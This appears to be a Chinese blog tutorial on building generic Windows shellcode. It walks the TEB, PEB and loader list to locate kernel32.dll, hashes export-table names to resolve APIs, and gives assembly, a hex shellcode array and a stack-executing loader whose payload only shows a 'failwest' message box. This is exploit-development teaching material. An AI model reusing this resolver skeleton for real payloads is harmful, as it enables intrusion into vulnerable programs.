通用shellcode开发
通用shellcode开发
由于不同系统环境的动态链接库的加载基址是不同的,我们手工查出的API地址很大可能不总是有效。
在shellcode中使用静态函数地址来调用API会使得exploit的通用性受到很大限制。
所以,实际中使用的shellcode必须还能动态地获得自身所需要的API函数地址。
windows的API是通过动态链接库中的导出函数来实现的,例如,内存查操作等函数在kernel32.dll中实现;大量的图形界面相关的API则在user32.dll中实现。
所有win_32程序都会加载ntdll.dll和kernel32.dll这两个最基础的动态链接库。如果想要在win_32平台下定位kernel32.dll中的API地址,可以采用如下方法。
- 通过段选择字段FS在内存中找到当前的线程环境块TEB
- 线程环境块偏移位置为0x30的地方存放着指向进程环境块PEB的指针
- 进程环境块中偏移位置为0x0C的地方存放着指向PEB_LDR_DATA结构体的指针,其中,存放着已经被进程装载的动态链接库的信息
- PEB_LDR_DATA结构体偏移位置为0x1C的地方存放着指向模块初始化链表的头指针InInitializationOrderModuleList
- 模块初始化链表InInitializationOrderModuleList中按顺序存放着PE装入运行时初始化模块的信息,第一个链表结点是ntdll.dll,第二个链表结点就是kernel32.dll
- 找到属于kernel32.dll的结点后,在其基础上再偏移0x08就是kernel32.dll在内存中的加载基地址
- 从kernel32.dll的加载基址算起,偏移0x3C的地方就是其PE头
- PE头偏移0x78的地方存放着指向函数导出表的指针
- 至此,我们可以按如下方式在函数导出表中算出所需函数的入口地址
- 导出表偏移0x1C处的指针指向存储导出函数偏移地址(RVA)的列表
- 导出表偏移0x20处的指针指向存储导出函数函数名的列表
- 函数的RVA地址和名字按照顺序存放在上述两个列表中,我们可以在名称列表中定位到所需的函数是第几个,然后在地址列表中找到对应的RVA
- 获得RVA后,再加上前边已经得到的动态链接库的加载基址,就获得了所需API此刻在内存中的虚拟地址,这个地址就是我们最终在shellcode中调用时需要的地址

shellcode的加载与调试
shellcode通常以字符数组的形式保存,如下所示
char box_popup[]=
"\x66\x81\xEC\x40\x04" // SUB SP,440
"\x33\xDB" // XOR EBX,EBX
"\x53" // PUSH EBX
"\x68\x77\x65\x73\x74" // PUSH 74736577
"\x68\x66\x61\x69\x6C" // PUSH 6C696166
"\x8B\xC4" // MOV EAX,ESP
"\x53" // PUSH EBX
"\x50" // PUSH EAX
"\x50" // PUSH EAX
"\x53" // PUSH EBX
"\xB8\xEA\x04\xD8\x77" // MOV EAX,user32.MessageBoxA
"\xFF\xD0" // CALL EAX
"\x53" // PUSH EBX ;/ExitCode
"\xB8\xDA\xCD\x81\x7C" // MOV EAX,kernel32.ExitProcess
"\xFF\xD0"; // CALL EAX ;\ExitProcess
由于shellcode需要漏洞程序已经初始化好了的进程空间和资源等,故往往不能单独运行。为了能在实际运行中调试这样的机器码,我们可以使用如下代码来装载shellcode。
char shellcode[]="\x66\x81\xEC\x40\x04\x33\xDB……"; //欲调试的十六进制机器码
void main()
{
__asm
{
lea eax, shellcode
push eax
ret
}
}
ret指令会将push进去的shellcode在栈中的起始地址弹给EIP,让处理器跳转到栈区去执行shellcode。我们可以用这段装载程序运行搜集到的shellcode,并调试之。若搜集到的shellcode不能满足需求,也可以在调试的基础上稍作修改,为它增加新功能。
动态定位API地址的shellcode
shellcode加入自动定位API的功能。为了实现弹出消息框并显示“failwest”的功能,需要使用如下API函数
- MessageBoxA 位于user32.dll中,用于弹出消息框
- ExitProcess 位于kernel32.dll中,用于正常退出程序
- LoadLibraryA 位于kernel32.dll中。并不是所有的程序都会装载user32.dll,所以在我们调用MessageBoxA之前,应该先使用LoadLibrary(“user32.dll”)装载其所属的动态链接库
通过前面介绍的win_32平台下搜索API地址的办法,我们可以从FS所指的线程环境块开始,一直追溯到动态链接库的函数名导出表,在其中搜索出所需的API函数是第几个,然后在函数偏移地址(RVA)导出表中找到这个地址。
由于shellcode最终是要放进缓冲区的,为了让shellcode更加通用,能被大多数缓冲区容纳,我们总是希望shellcode尽可能短。因此,在函数名导出表中搜索函数名的时候,一般情况下并不会用“MessageBoxA”这么长的字符串去进行直接比较。
通常情况下,我们会对所需的API函数名进行hash运算,在搜索导出表时对当前遇到的函数名也进行同样的hash,这样只要比较hash所得的摘要(digest)就能判定是不是我们所需的API了。虽然这种搜索方法需要引入额外的hash算法,但是可以节省出存储函数名字符串的代码。
本节实验中所用hash函数的C代码如下
#include <stdio.h>
#include <windows.h>
DWORD GetHash(char *fun_name)
{
DWORD digest=0;
while(*fun_name)
{
digest=((digest<<25)|(digest>>7)); //循环右移7位
digest+= *fun_name ; //累加
fun_name++;
}
return digest;
}
main()
{
DWORD hash;
hash= GetHash("AddAtomA");
printf("result of hash is %.8x\n",hash);
}
我们将把字符串中的字符逐一取出,把ASCII码从单字节转换成四字节的双字(DWORD),循环右移7位之后再进行累积。
代码中只比较经过hash运算的函数名摘要,也就是说,不论API函数名多么长,我们只需要存一个双字就行。而上述hash算法只需要用ror和add两条指令就能实现。
API函数名hash后的摘要如下:

在将hash压入栈中之前,注意先将增量标志DF清零。因为当shellcode是利用异常处理机制而植入的时候,往往会产生标志位的变化,使shellcode中的字串处理方向发生变化而产生错误(如指令LODSD)。如果您在堆溢出利用中发现原本身经百战的shellcode在运行时出错,很可能就是这个原因。总之,一个字节的指令可以大大增加shellcode的通用性。
最终汇编代码实现:
int main()
{
_asm{
CLD ;clear flag DF
;store hash
push 0x1e380a6a ;hash of MessageBoxA
push 0x4fd18963 ;hash of ExitProcess
push 0x0c917432 ;hash of LoadLibraryA
mov esi,esp ;esi = addr of first function hash
lea edi,[esi-0xc] ;edi = addr to start writing function
;make some stack space
xor ebx,ebx
mov bh, 0x04
sub esp, ebx
;push a pointer to "user32" onto stack
mov bx, 0x3233 ;rest of ebx is null
push ebx
push 0x72657375
push esp
xor edx,edx
;find base addr of kernel32.dll
mov ebx, fs:[edx + 0x30] ;ebx = address of PEB
mov ecx, [ebx + 0x0c] ;ecx = pointer to loader data
mov ecx, [ecx + 0x1c] ;ecx = first entry in initialization
;order list
mov ecx, [ecx] ;ecx = second entry in list
;(kernel32.dll)
mov ebp, [ecx + 0x08] ;ebp = base address of kernel32.dll
find_lib_functions:
lodsd ;load next hash into al and increment esi cmp eax, 0x1e380a6a ;hash of MessageBoxA - trigger
;LoadLibrary("user32")
jne find_functions
xchg eax, ebp ;save current hash
call [edi - 0x8] ;LoadLibraryA
xchg eax, ebp ;restore current hash, and update ebp
;with base address of user32.dll
find_functions:
pushad ;preserve registers
mov eax, [ebp + 0x3c] ;eax = start of PE header
mov ecx, [ebp + eax + 0x78] ;ecx = relative offset of export table
add ecx, ebp ;ecx = absolute addr of export table
mov ebx, [ecx + 0x20] ;ebx = relative offset of names table
add ebx, ebp ;ebx = absolute addr of names table
xor edi, edi ;edi will count through the functions
next_function_loop:
inc edi ;increment function counter
mov esi, [ebx + edi * 4] ;esi = relative offset of current
;function name
add esi, ebp ;esi = absolute addr of current
;function name
cdq ;dl will hold hash (we know eax is
;small)
hash_loop:
movsx eax, byte ptr[esi]
cmp al,ah
jz compare_hash
ror edx,7
add edx,eax
inc esi
jmp hash_loop
compare_hash:
cmp edx, [esp + 0x1c] ;compare to the requested hash (saved on;stack from pushad)
jnz next_function_loop
mov ebx, [ecx + 0x24] ;ebx = relative offset of ordinals
;table
add ebx, ebp ;ebx = absolute addr of ordinals
;table
mov di, [ebx + 2 * edi] ;di = ordinal number of matched
;function
mov ebx, [ecx + 0x1c] ;ebx = relative offset of address
;table
add ebx, ebp ;ebx = absolute addr of address table
add ebp, [ebx + 4 * edi] ;add to ebp (base addr of module) the
;relative offset of matched function
xchg eax, ebp ;move func addr into eax
pop edi ;edi is last onto stack in pushad
stosd
;write function addr to [edi] and
;increment edi
push edi
popad ;restore registers;loop until we reach end of last hash
cmp eax,0x1e380a6a
jne find_lib_functions
function_call:
xor ebx,ebx
push ebx ;cut string
push 0x74736577
push 0x6C696166 ;push failwest
mov eax,esp ;load address of failwest
push ebx
push eax
push eax
push ebx
call [edi - 0x04] ;call MessageboxA
push ebx
call [edi - 0x08] ;call ExitProcess
nop
nop
nop
nop
}
}
十六进制码:
char popup_general[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
void main()
{
__asm
{
lea eax, popup_general
push eax
ret
}
}

浙公网安备 33010602011771号